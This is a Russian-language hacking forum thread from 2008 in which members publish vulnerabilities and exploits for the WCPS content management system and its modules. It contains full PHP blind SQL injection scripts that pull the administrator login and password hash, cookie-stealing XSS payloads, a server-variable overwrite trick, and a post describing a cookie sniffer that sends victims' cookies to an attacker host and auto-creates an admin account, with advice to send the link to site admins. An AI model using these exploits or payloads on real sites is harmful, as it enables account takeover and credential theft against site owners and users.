ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > Сценарии/CMF/СMS
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #11  
Старый 10.01.2008, 22:30
Dr.Z3r0
Leaders of The World
Регистрация: 06.07.2007
Сообщений: 246
Провел на форуме:
2030482

Репутация: 1796
По умолчанию

Пассивная XSS в модуле(!) AvtoBloger V2.0
Код:
http://test2.ru/index.php?nma=blog&fla=news&cat=1&name_cat[1]=bla&ids=1&masivs[1']=s"></a><body onLoad=eval("ale"+"rt(documen"+"t.cookie)")><t g="
__________________
Кто я?..
 
Ответить с цитированием

  #12  
Старый 11.01.2008, 21:28
Dr.Z3r0
Leaders of The World
Регистрация: 06.07.2007
Сообщений: 246
Провел на форуме:
2030482

Репутация: 1796
По умолчанию

SQL injection в модуле Cates v1.0

Собственно уязвимость нахотся в файле mod\cates\stat.php а уязвимый код выглядит так:
Код:
@$query = "INSERT INTO $GLOBALS[wcpref]downlog VALUES ('$nma', '$idd', '$GLOBALS[REMOTE_ADDR]', '$GLOBALS[HTTP_REFERER]', '$GLOBALS[HTTP_USER_AGENT]', '$now')";
if (!mysql_query($query)){WCInfoView(7,mysql_error(),__FILE__." ".__LINE__);}
Никаких проверок ни у referer ни у User-Agent и о какое счастье вывод ошибки в запросе. Да я согласен отсутствие вывода огорчает, но, написав небольшой эксплоит, можно таки очень легко поиметь сайт на этой цмс. Ну и сам эксплоит вот:
Код:
<?php
/*----------------------------------------*\
Експлоит для модуля Cates v1.0 к cms WCPS
Автор: I-I()/Ib
\*----------------------------------------*/
$set['host']='test2.ru';//Хост с CMS WPCS
$set['patch']='';//Путь к WCPS без слеша на конце!
$set['id_user']='2';//Номер юзера у которого буим брать хеш и логин (2 по дефолту админ)
$set['prefix']='wc_';//Префикс таблиц в БД
//----------------------------------------//

set_time_limit(0);

function create_packet($num,$sumb,$znak,$column='user_pass'){
	global $set;
	$tmp="111',IF(ASCII(SUBSTRING((SELECT ".$column." FROM ".$set['prefix']."user WHERE id=".$set['id_user']."),".$num.",1))".$znak.$sumb.",(SELECT 1 UNION SELECT 2),0),'1')/*";
	
	$header="GET ".$set["patch"]."/index.php?nma=cates&fla=stat&idd=1"." HTTP/1.0\r\n";
	$header.="Accept-Language: en-us,en;q=0.5\r\n";
	$header.="Accept-Charset: utf-8,*;q=0.7\r\n";
	$header.="Referer: ".$tmp."\r\n";
	$header.="Accept: text/html,image/jpeg,image/gif,text/xml,text/plain,image/png,*/*;q=0.5\r\n";
	$header.="User-Agent: 1\r\n";
	$header.="Connection: keep-alive\r\n";
	$header.="Host: ".$set["host"]."\r\n\r\n";
	
	return $header;
}

function logg($str){
	echo($str.'<br>'."\r\n");
	flush();
}

$ret='';
logg('<b>'.$set['host'].'</b>');
logg('Выдираем хеш...');
for($i=1;$i<=32;$i++){
	$sred=0;
	$tmp='';
	$i2=0;
	$i3=0;
	$znak='>';
	$mins=0;
	$maxs=255;
	while(1){
		if($maxs-$mins>3){
			$sred=round(($mins+$maxs)/2);
		}else{
			$sred=$mins+$i2;
			$znak='=';
			$i2=$i2+1;
			if($mins>$maxs)break;
		}
		$header=create_packet($i,$sred,$znak);
		$dt='';
		$fp=fsockopen($set['host'], 80);
		fwrite($fp, $header);
		while(!feof($fp)){
			$dt.=fread($fp, 1024);
		}
		fclose($fp);
		
		if(substr_count($dt,'Subquery returns more than 1 row')){
			if($znak==='>')$mins=$sred+1;
			else if($znak==='='){
				$ret.=chr($sred);
				break;
			}
		}else{
			if($znak==='>')$maxs=$sred;
		}
		if($i3>20)break;
		else $i3++;
		if(substr_count($dt,'doesn\'t exist'))die('Не верный префикс :(');
	}
}
if(empty($ret))die('Не получилось :(');
logg('Хеш: <b>'.$ret.'</b>');
logg('Выдираем логин...');
$ret='';

for($i=1;$i<=25;$i++){
	$sred=0;
	$tmp='';
	$i2=0;
	$i3=0;
	$znak='>';
	$mins=0;
	$maxs=255;
	while(1){
		if($maxs-$mins>3){
			$sred=round(($mins+$maxs)/2);
		}else{
			$sred=$mins+$i2;
			$znak='=';
			$i2=$i2+1;
			if($mins>$maxs)break;
		}
		$header=create_packet($i,$sred,$znak,'user_login');
		$dt='';
		$fp=fsockopen($set['host'], 80);
		fwrite($fp, $header);
		while(!feof($fp)){
			$dt.=fread($fp, 1024);
		}
		fclose($fp);
		
		if(substr_count($dt,'Subquery returns more than 1 row')){
			if($znak==='>')$mins=$sred+1;
			else if($znak==='='){
				$ret.=chr($sred);
				break;
			}
		}else{
			if($znak==='>')$maxs=$sred;
		}
		if($i3>20)break;
		else $i3++;
	}
	if(substr_count($ret,chr(0))){
		$ret=str_replace(chr(0),'',$ret);
		break;
	}
}
if(empty($ret))die('Не получилось :(');
logg('Логин: <b>'.$ret.'</b>');
logg('Готово');
?>
__________________
Кто я?..
 
Ответить с цитированием

  #13  
Старый 15.01.2008, 21:02
Dr.Z3r0
Leaders of The World
Регистрация: 06.07.2007
Сообщений: 246
Провел на форуме:
2030482

Репутация: 1796
По умолчанию

Множественные XSS в модуле NewsTematic 1.1

Тут следует обратить внимание на файл php/wojs.php поставляемый вместе с модулем. Как можно заметить данный файл присутствует и в самой cms и в последних версиях этой cms этот файл не уязвим, но в модуле данный файл взят из более ранних версий, и при установке данного модуля неуязвимый файл меняется на другой-уязвимый, что приводит к большому количеству XSS. На всякий случай я повторю сплоенты:
Код:
http://test2.ru/php/wojs.php?tit=</title><script>alert(document.cookie)</script>
http://test2.ru/php/wojs.php?name_titl=</title><script>alert(document.cookie)</script>
http://test2.ru/php/wojs.php?inflang='></script><script>alert(document.cookie)</script><d d='
http://test2.ru/php/wojs.php?type='></script><script>alert(document.cookie)</script><d d='
http://test2.ru/php/wojs.php?inflang=alert(document.cookie)</script>
http://test2.ru/php/wojs.php?type=alert(document.cookie)</script>
http://test2.ru/php/wojs.php?bord=</script><script>alert(document.cookie)</script>
http://test2.ru/php/wojs.php?bg=</script><script>alert(document.cookie)</script>
http://test2.ru/php/wojs.php?bgz=</script><script>alert(document.cookie)</script>
http://test2.ru/php/wojs.php?zag=</script><script>alert(document.cookie)</script>
http://test2.ru/php/wojs.php?txt=</script><script>alert(document.cookie)</script>
http://test2.ru/php/wojs.php?fs=</script><script>alert(document.cookie)</script>
http://test2.ru/php/wojs.php?cnt=</script><script>alert(document.cookie)</script>
http://test2.ru/php/wojs.php?tit=</script><script>alert(document.cookie)</script>
http://test2.ru/php/wojs.php?simage=</script><script>alert(document.cookie)</script>
http://test2.ru/php/wojs.php?hover=</script><script>alert(document.cookie)</script>
http://test2.ru/php/wojs.php?vdata=</script><script>alert(document.cookie)</script>
http://test2.ru/php/wojs.php?wd=</script><script>alert(document.cookie)</script>
http://test2.ru/php/wojs.php?wd=</script><script>alert(document.cookie)</script>
__________________
Кто я?..
 
Ответить с цитированием

  #14  
Старый 18.01.2008, 18:16
Dr.Z3r0
Leaders of The World
Регистрация: 06.07.2007
Сообщений: 246
Провел на форуме:
2030482

Репутация: 1796
По умолчанию

Эксплоит к SQL injection в WCPS v 4.0.1
Вот сама уязвимость:
Код:
http://test2.ru/index.php?nma=catalog&fla=pod_menu&cat_id=1&by=[SQL code]
Собственно я ее уже публиковал, как помним иньект там проходит после ORDER BY. Ну чтож развеем миф что скуля после ORDER BY не ракручиваемая. Вот эксплоит:
PHP код:
<?php
/*----------------------------------------*\
Експлоит для  cms WCPS v4.0.1
Автор: I-I()/Ib
\*----------------------------------------*/
$set['host']='test2.ru';//Хост с CMS WPCS
$set['patch']='';//Путь к WCPS без слеша на конце!
$set['id_user']='2';//Номер юзера у которого буим брать хеш и логин (2 по дефолту админ)
$set['prefix']='wc_';//Префикс таблиц в БД

$set['catid']='2';//Номер группы статей
$set['catnm1']='Регистрация Своего Модуля';//Название первой статья отобажаемая по ссылке типа http://test2.ru/index.php?nma=catalog&fla=pod_menu&cat_id=2&by=id
$set['catnm2']='Как повысить цитируемость';//Название последней статьи
//----------------------------------------\\
set_time_limit(0);

function 
create_packet($num,$sumb,$maxs,$znak,$column='user_login'){
    global 
$set;

    
$tmp='http://'.$set['host'].$set['patch'];    
    
$tmp.='/index.php?nma=catalog&fla=pod_menu&cat_id=2&by=';
    if(
$znak==='>')$tmp.=urlencode('(-id*(1=IF(ASCII(SUBSTRING((SELECT '.$column.' FROM '.$set['prefix'].'user WHERE id='.$set['id_user'].'),'.$num.',1)) BETWEEN '.$sumb.' AND '.$maxs.',1,2)))/*');
    else 
$tmp.=urlencode('(-id*(1=IF(ASCII(SUBSTRING((SELECT '.$column.' FROM '.$set['prefix'].'user WHERE id='.$set['id_user'].'),'.$num.',1))'.$znak.$sumb.',1,2)))/*');
    
    return 
$tmp;
}

function 
logg($str){
    echo(
$str.'<br>'."\r\n");
    
flush();
}

$ret='';
logg('<b>'.$set['host'].'</b>');
logg('Выдираем логин...');
for(
$i=1;$i<=25;$i++){
    
$sred=0;
    
$tmp='';
    
$i2=0;
    
$i3=0;
    
$znak='>';
    
$mins=0;
    
$maxs=255;
    while(
1){
        if(
$maxs-$mins>3){
            
$sred=round(($mins+$maxs)/2);
        }else{
            
$sred=$mins+$i2;
            
$znak='=';
            
$i2=$i2+1;
            if(
$mins>$maxs)break;
        }
        
$dt=file_get_contents(create_packet($i,$sred,$maxs,$znak));
        
        if((!
strpos($dt,$set['catnm1']))||(!strpos($dt,$set['catnm2'])))die('Не верный префикс, либо неверно указанны названия статей');
        if(
strpos($dt,$set['catnm2'])>strpos($dt,$set['catnm1'])){        
            if(
$znak==='>')$mins=$sred;
            else if(
$znak==='='){
                
$ret.=chr($sred);
                break;
            }
        }else{
            if(
$znak==='>')$maxs=$sred;
        }
        
        if(
$i3>30)break;
        else 
$i3++;
    }
    if(
ord(substr($ret,$i-1))==0)break;
}
if(empty(
$ret))die('Не получилось :(');
logg('Логин: <b>'.$ret.'</b>');
$ret='';
logg('Выдираем хеш...');
for(
$i=1;$i<=32;$i++){
    
$sred=0;
    
$tmp='';
    
$i2=0;
    
$i3=0;
    
$znak='>';
    
$mins=0;
    
$maxs=255;
    while(
1){
        if(
$maxs-$mins>3){
            
$sred=round(($mins+$maxs)/2);
        }else{
            
$sred=$mins+$i2;
            
$znak='=';
            
$i2=$i2+1;
            if(
$mins>$maxs)break;
        }
        
$dt=file_get_contents(create_packet($i,$sred,$maxs,$znak,'user_pass'));

        if(
strpos($dt,$set['catnm2'])>strpos($dt,$set['catnm1'])){
            if(
$znak==='>')$mins=$sred;
            else if(
$znak==='='){
                
$ret.=chr($sred);
                break;
            }
        }else{
            if(
$znak==='>')$maxs=$sred;
        }
        
        if(
$i3>30)break;
        else 
$i3++;
    }
    if(
ord(substr($ret,$i-1))==0)break;
}
if(empty(
$ret))die('Не получилось :(');
logg('Хеш: <b>'.$ret.'</b>');
?>
Вот поймать бы того, кто в фильтр всунул строку user_pass (идиотизм какой-то), так бы сплоент работал и на последней версии 4.1. Но к сожалению в последней версии сплоент выдирает только логин, а вот в предпоследней (4.0.1) успешно вытаскивается админский логин и хеш.
__________________
Кто я?..

Последний раз редактировалось I-I()/Ib; 18.01.2008 в 22:21..
 
Ответить с цитированием

  #15  
Старый 03.02.2008, 02:26
Dr.Z3r0
Leaders of The World
Регистрация: 06.07.2007
Сообщений: 246
Провел на форуме:
2030482

Репутация: 1796
По умолчанию

XSS WCPS v.4.2.1
Собственно не новые XSS(их там в каждом скрипте штуки по две), а новый метод обхода фильтров. Мне вообще "нравится" способ работы разработчиков. Вместо того чтобы исправить уязвимость они добавляют в фильтр новые ключевые слова, что, по их мнению, называется латанием дыр. Как говорится латаем дыры в днище корабля, когда сам корабль разваливается попалам.
Код:
http://test2.ru/index.php?nma=news&fla=tema&namecat[1']=2</a></span><body onLoad=setTimeout("ale"%2B"rt(docu"%2B"ment.coo"%2B"kie)",1)>
http://test2.ru/index.php?nma=search&fla=f.lib&name_sm[']=1<body onLoad=setTimeout("ale"%2B"rt(docu"%2B"ment.coo"%2B"kie)",1)>
__________________
Кто я?..
 
Ответить с цитированием

  #16  
Старый 03.02.2008, 14:34
Dr.Z3r0
Leaders of The World
Регистрация: 06.07.2007
Сообщений: 246
Провел на форуме:
2030482

Репутация: 1796
По умолчанию

Перезапись системных переменных WCPS v.4.2.1
Вообщем для тех кто хочет понять "как?", проведу небольшое вступление. Вот глянем код файла inc/php_function.php:
Код:
...
if ( is_array($_GET) ) {
   while( list($k, $v) = each($_GET) ) {
     if ( is_array($_GET[$k]) ) {
        while( list($k2, $v2) = each($_GET[$k]) ) {
          $k=key_check("$k");//Кавычки не убирать
              $k2=key_check("$k2");
          $_GET[$k][$k2] = str_check($v2);
                 eval("\$".$k."[\$k2] = str_check(\$v2);");
        }
     }
     else { $k=key_check("$k");$_GET[$k] = str_check($v); $$k = $_GET[$k];}
   }
 }
...
function key_check($key) {
 if ($key == '' OR $key =='_SERVER' OR $key =='_SESSION' OR $key =='_FILES' OR $key =='_REQUEST') { return ''; }
 $key = preg_replace("/[^\w\xB2-\xB4\xBF-\xFF\xA5\xA8\xAA\xAF\xB8\xBA\s]/", "", $key );
 return $key;
}
...
собственно это весь интересующий нас код. Как видно первая часть кода(такие же куски есть и для массивов POST и COOKIE), перепроверяет все переменные переданные GET-ом, и в случае если имя переменной равно какому нибудь системному массиву, уничтожает эту переменную, а также каждое значение переменной походит фильтрацию, между нами говоря я видел подобного рода код где то еще. Так вот приглядимся к функции key_check. Как видим она сначало проверяет на соответствие имени переменной и имени массива(кстати про массив GLOBALS они забыли), а потом на содержание в этом имени "запрещенных символов", это нам на руку.

Чтож вот собственно и как юзать:
Код:
http://test2.ru/?_SER'VER[REMOTE_ADDR]=111.111.111.111
После такого обращения к системе, цмс будет "думать" что ваш IP равен "111.111.111.111".
__________________
Кто я?..
 
Ответить с цитированием

  #17  
Старый 04.02.2008, 13:10
Grey
AMA - Level 2
Регистрация: 10.06.2006
Сообщений: 1,113
Провел на форуме:
17668503

Репутация: 5826


По умолчанию

WebCodePortalSystem v.4.2.1 (4.2.2) Создание привилегированного пользователя (админа) с помощью XSS, Снифер-Сплойт в комплекте + Видео по использованию

XSS - это достаточно серьезная уязвимость, которую не стоит не дооценивать!
Под XSS найденные I-I()/Ib`ом я написал снифер-сплойт, который не только сохраняет полученные куки, но и создаёт пользователя-админа, если куки окажутся админскими.

Вот XSS:

Цитата:
Сообщение от I-I()/Ib  
XSS WCPS v.4.2.1
Собственно не новые XSS(их там в каждом скрипте штуки по две), а новый метод обхода фильтров. Мне вообще "нравится" способ работы разработчиков. Вместо того чтобы исправить уязвимость они добавляют в фильтр новые ключевые слова, что, по их мнению, называется латанием дыр. Как говорится латаем дыры в днище корабля, когда сам корабль разваливается попалам.
Код:
http://test2.ru/index.php?nma=news&fla=tema&namecat[1']=2</a></span><body onLoad=setTimeout("ale"%2B"rt(docu"%2B"ment.coo"%2B"kie)",1)>
http://test2.ru/index.php?nma=search&fla=f.lib&name_sm[']=1<body onLoad=setTimeout("ale"%2B"rt(docu"%2B"ment.coo"%2B"kie)",1)>
Нам понадобится следующее:

-Сам снифер (смотреть в аттаче)
-Хост с поддержкой сокетов (врятли достать такой хост проблемно)


Привидем XSS к рабочему виду, сделаем с её помощью перемещение на сайт, на котором лежим наш снифер и отдачу куков:

Код:
http://test2.ru/index.php?nma=news&fla=tema&namecat[1']=2</a></span><body onLoad=setTimeout('docum'%2B'ent.loca'%2B'tion.repl'%2B'ace("http://test1.ru/sn.php?c="%2Bdo'%2B'cument.co'%2B'okie)',1)>
* - код XSS так же продублирован в аттаче, в эту могут добавится лишние пробелы, используйте ту что в аттаче или удалите лишние пробелы в этой

Меняем данные на свои:

("http://test1.ru/sn.php?c="%2Bdo'%2B'cument.co'%2B'okie)

http://test1.ru/ - хост где будет лежать снифер
/sn.php - путь до снифера

Все больше ничего менять не нужно.

Настроим снифер:

PHP код:
//===========Config

$new_user_login 'master';
$new_user_password md5('master');
$op1 1// Сохранять полученные куки
$op2 1// Создать пользователя-админа (нужно что бы на снифер попал админ)
$link 'http://mail.ru'// Сайт на который будет перемещен, словивший нашу xss

//=========== 
Указываем логин и пароль нового пользователя - хотя можно оставить и пару master:master Ставим две единички (вообще если на снифер попадает админ, то хватит и просто создание нового пользователя, врятли нам после этого понадобятся куки админа). Теперь для чего нужно что бы после слова куков жертву перемещало на какой либо сайт - впринципе можно поставить перемещение на его же сайт, что бы было меньше палева (собственно для этого это и нужно).

Все сделали? ну тогда просто кидаем XSS админу и ждем результат...
А результатом должен быть наш новый пользователь (админ).

Как это работает?

Вообще когда мы крадем куки пользователей мы после этого обычно идем в админку и создаем нового пользователя или льем шелл - вообщем закрепляемся всевозможными способами. Но нам никто не мешает автоматизировать процесс. Суть то проста: на снифер падают куки, а так же сохранятеся реферер, т.е. у нас все не обходимое что бы авторизироваться под админом + адрес сайта (реферер). Дальше просто формируем пакет вписывая туда все необходимые данные для создания нового пользователя через админку, добавляем только что словленные куки, дальше пакет улетает и появляется новый пользователь. Вот такая вот автоматизация процесса. И еще один плюс, который появляется перед "ручным" способом это то что если админ все таки перешел по ссылке, то пользователь будет создан, а вот если делать руками, то админ может нажать заветную кнопочку "выход" и толку после этого от его куков не будет.

И ещё немного...

Мой вариант реализации отправки более общий, т.к. скрипт подделывает реферер, который может проверятся (но в случае с WebCodePortalSystem в админке ничего не проверяется). А вот в тех случаях когда подделывать реферер не нужно, можно сделать все гораздо проще:

Этот варинат предложил I-I()/Ib:

Создаем форму которая отправится сама - делается это с помощью javascript`а. В форме делаем все поля скрытыми и затачиваем их под какое то одно действие - к примеру опять же создание нового пользователя. Не забываем в action`е указать путь до сайта на котором нужно создать пользователя. Дальше заливаем на любой хост (хоть на народ) и получается что то вроде этого:

http://mysite.ru/1.html

Дальше кидаем линк админу и как только он зайдет на эту страничку будет создан новый пользователь.
И если так посмотреть то для этого не нужна никакая xss.

Но у такого способа есть минусы:
-Это будет работать только если нет проверки реферера, т.к. формой его не подделать (а если подделывать php скриптом, то тут нужны куки и как следствие наличие XSS)

-Как только данные из формы отправятся, админ тут же попадет в адмику на страницу с пользователями (а такой переход будет выглядеть очень палевно).
Но это можно решить поставив скрипт (с формой) в ифрейм.

Сам скрипт от I-I()/Ib`я так же лежит в аттаче. (скрипт создает пользователя (админа) с логином xxxxxx и паролем xxxxxx)


Подводя итоги...

Вообщем случае если мы знаем какие данные нужно отправить для того что бы сделать какое либо действие (создасть пользователя/залить шелл/получить личную информацию и т.д.) и мы хотим что бы админ (пользователь с нужными привилегиями) выполнил нужные действия, сам того не зная, то для начала нужно определится нужен ли реферер (т.е. проверяется он в скрипте или нет).

Если он проверяется то нам нужно найти XSS с помощью который мы украдем куки и затем сформируем пакет с необходимыми данными.

Если он не проверяется, то искать XSS не обязательно (хотя если XSS активная, то её приемущество на лицо - не надо переходить по каким либо ссылкам), достаточно сделать форму которая отправит данные автоматически (к примеру сразу после загрузки формы).

Вообще если подумать, то отсутствие проверки реферера это очень серьезный недочет. Т.к. сделать такую форму можно минут за 5 (скопировать её к примеру из админки, поменять поля на хидден что бы их не было видно, поменять актион и все готово), а дальше к примеру на каком либо форуме/гостевой и т.д. просто запостить линк и ждать когда админ или другой интерисующий пользователь перейдем по ссылке. А в результате шелл/действия от лица других пользователей/получение информации и т.д.

Наличие Активной XSS существенно облегчает задачу, т.к. пасивные XSS и метод с формой можно отнести к Социальной Инженерии, т.к. трубеутся непосредственное участие пользователя обладающими нужными правами (нужно что бы пользователь перешел по определенной ссылке), а с Активной XSS никакого участия не требуется.

=====Линк на видео=====

http://rapidshare.com/files/89037260/wcps_xss.rar.html

Описание к видео лежит в архиве.

=====Аттач=====

sn.zip - снифер-сплойт
1.zip - форма с отправкой данный, от I-I()/Ib`я
xss.txt - код XSS (в выше написанной добивались пробелы)
Вложения
Тип файла: zip sn.zip (942 байт, 123 просмотров)
Тип файла: zip 1.zip (391 байт, 80 просмотров)
Тип файла: txt xss.txt (195 байт, 74 просмотров)

Последний раз редактировалось Grey; 06.02.2008 в 02:38..
 
Ответить с цитированием

  #18  
Старый 07.02.2008, 23:02
Dr.Z3r0
Leaders of The World
Регистрация: 06.07.2007
Сообщений: 246
Провел на форуме:
2030482

Репутация: 1796
По умолчанию

Активная XSS WCPS v.4.2.1

Бага присутствует на форуме, внутренней почте, гостевой, комментариях. Создаем сообщение/запись/комментарий с содержанием:
Код:
[img*]http://google.ru/zzzz.jpg" onerror="setTimeout('ale'+'rt(doc'+'ument.coo'+'kie)',100)[/img*]
(звездочки из тегов удаляем-седланно чтобы форумом не воспринималось)
Обновляем страницу/глядим почту. Видим как браузер пытается загрузить несуществующий рисунок "http://google.ru/zzzz.jpg", в результате - ошибка и выполнение javascript-кода.

На практике нам проще создать ПМ сообщение админу - он в любом случае его откроет и как следствие его куки улетят к вам на снифер. А если вы заюзаете снифер от Grey-я, то тут даже напрягаться не надо, чтобы не потерять сессию.

Цитата:
Сообщение от Grey  
Наличие Активной XSS существенно облегчает задачу
как на заказ))
__________________
Кто я?..

Последний раз редактировалось Grey; 07.02.2008 в 23:08..
 
Ответить с цитированием

  #19  
Старый 07.02.2008, 23:07
Grey
AMA - Level 2
Регистрация: 10.06.2006
Сообщений: 1,113
Провел на форуме:
17668503

Репутация: 5826


По умолчанию

WebCodePortalSystem v.4.2.2 Еще одна Пассивная XSS

Цитата:
Сообщение от I-I()/Ib  
Перезапись системных переменных WCPS v.4.2.1
Чтож вот собственно и как юзать:
Код:
http://test2.ru/?_SER'VER[REMOTE_ADDR]=111.111.111.111
После такого обращения к системе, цмс будет "думать" что ваш IP равен "111.111.111.111".
Благодаря перезаписи переменных реализовал еще одну Пассивную XSS:

Код:
http://target.ru/php/wojs.php?_SE;RVER[HTTP_HOST]=site.ru/666.js?
* - не забудьте знак вопроса на конце
** - писать надо именно _SE;RVER, а не _SERVER.


site.ru - ваш хост
666.js - файл с содержимым скрипта:

Код:
document.location.replace("http://site.ru/sniff.php?c="+document.cookie);
Используйте снифер из поста #17 для создания нового админа.

P.S. в этой же скрипте wojs.php есть и другая действующая Пассивная XSS (из поста #10 все ещё не залатана, хотя версии новые выходили) - не скрипт, а прям сосредоточение уязвимостей))
 
Ответить с цитированием

  #20  
Старый 09.02.2008, 00:37
Macro
Постоянный
Регистрация: 11.11.2006
Сообщений: 595
Провел на форуме:
1845062

Репутация: 1079


По умолчанию

Самая простая пассивная xss на исправление которой уйдут месяцы )) Гг

Сам не ожидал такой простоты
http://site/wcps/%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

ЗЫ http://wcps.ru/%3E%3Cscript%3Ealert(...)%3C/script%3E

Последний раз редактировалось Macro; 09.02.2008 в 00:40..
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[Обзор уязвимостей в форумных движках] Grey Форумы 48 28.12.2009 20:03



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ